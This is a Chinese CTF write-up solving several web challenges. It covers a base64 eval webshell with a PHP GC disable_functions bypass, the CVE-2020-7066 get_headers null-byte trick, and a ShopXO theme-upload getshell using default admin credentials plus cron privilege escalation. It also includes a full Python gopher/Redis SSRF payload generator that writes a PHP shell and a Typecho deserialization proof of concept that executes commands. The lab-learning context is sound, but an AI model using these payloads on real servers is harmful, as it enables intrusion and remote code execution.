又留了两道node。。。。。留着做个综合吧。。。
CheckIN
打开靶机即得源码
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
接受get或post形式传入的Ginkgo,并base64解码执行
解题
那么构造一句话,由于这里是eval执行,相当于自动加php标签,所以只要构造eval($_POST['a']); => ZXZhbCgkX1BPU1RbJ2EnXSk7
即可
用蚁剑连上,给了个readflag的脚本,php版本是7.3,考虑php7-gc-bypass
找个有上传权限的目录上传bypass脚本,红框内是执行的命令
tmp下上传
接着包含该文件即可bypass
把之前的命令改为执行readflag脚本即可
cve版签到
给了提示是cve-2020-7066,搜集下信息
PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。
参考:https://bugs.php.net/bug.php?id=79329
即get_headers()函数在一个空字节后会被无提示地截断
解题
打开靶机提示点击view ctfhub,跳转后url如下
参考文章中示例构造http://127.0.0.1\0www.ctfhub.com
由于是url传入,改为%00替代空字节
提示了必须以123结尾,改一下即可
老八小超市儿
打开靶机是shopxo
百度下有没有已知的漏洞
找到一个后台getshell,参考文章:http://www.nctry.com/1660.html
解题
首先用默认账号密码登录后台,admin,shopxo
到应用商店下载默认主题
往压缩包里加入shell
找到主题安装位置上传加入shell之后的压缩包
访问/public/static/index/default/oneword.php即可getshell
用蚁剑连,根目录flag下提示在root
但root设置了权限不可读,注意到根目录下还有一个auto.sh,查看
每隔一分钟执行一次makeflaghint.py,看下这个脚本
获取当前时间并写入flag.hint,那么我们利用这个脚本的root权限读出root下的flag并写入到flag.hint即可
得到flag
EZ三剑客-EzWeb
打开靶机只有一个提交框
源码处发现注释
提交访问返回类似ifconfig的结果
eth0 Link encap:Ethernet HWaddr 02:42:ad:1f:54:0a
inet addr:173.31.84.10 Bcast:173.31.84.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:34 errors:0 dropped:0 overruns:0 frame:0
TX packets:33 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:6058 (6.0 KB) TX bytes:5729 (5.7 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
得到内网ip,访问看看
会回显首页内容
看看内网里还有没有其他页面,burp爆破一下
扫到以下主机存活
依次访问看看,其他没啥发现,访问11的时候提示扫它的端口
太容易429了。。直接看的wp跑了一下6300-6400,发现开放了6379
6379是redis的默认端口号
考点:Redis配合gopher协议进行SSRF
未授权访问Redis服务器
直接拿的脚本,php代码执行命令结果写入shell.php
import urllib
protocol="gopher://"
ip="173.31.84.11"#探测主机
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
生成gopher://173.31.84.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
在输入框内输入提交,然而一直转。。。了好久,以为靶机问题中间还重启了下靶机,然后等不了手动停了,访问http://173.31.84.11/shell.php已经有了flag,嗯。。。神奇
EZ三剑客-EzTypecho
题目给了源码,打开靶机是Typecho博客的安装程序但不让安装
在给出源码的changelog.txt里我们可以看到源码版本
百度下发现老版本有个install.php处反序列化漏洞。
参考文章:https://blog.csdn.net/weixin_44005410/article/details/90385856
解题
直接拿了参考文章师傅的poc生成payload
<?php
$CMD = 'system("cat /flag")';
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
private $_type;
private $_items;
public function __construct() {
//$this->_type = $this::RSS2;
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = $GLOBALS[CMD];
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
然后按照文章中说的post传入payload即可,要注意一下保证referer是本站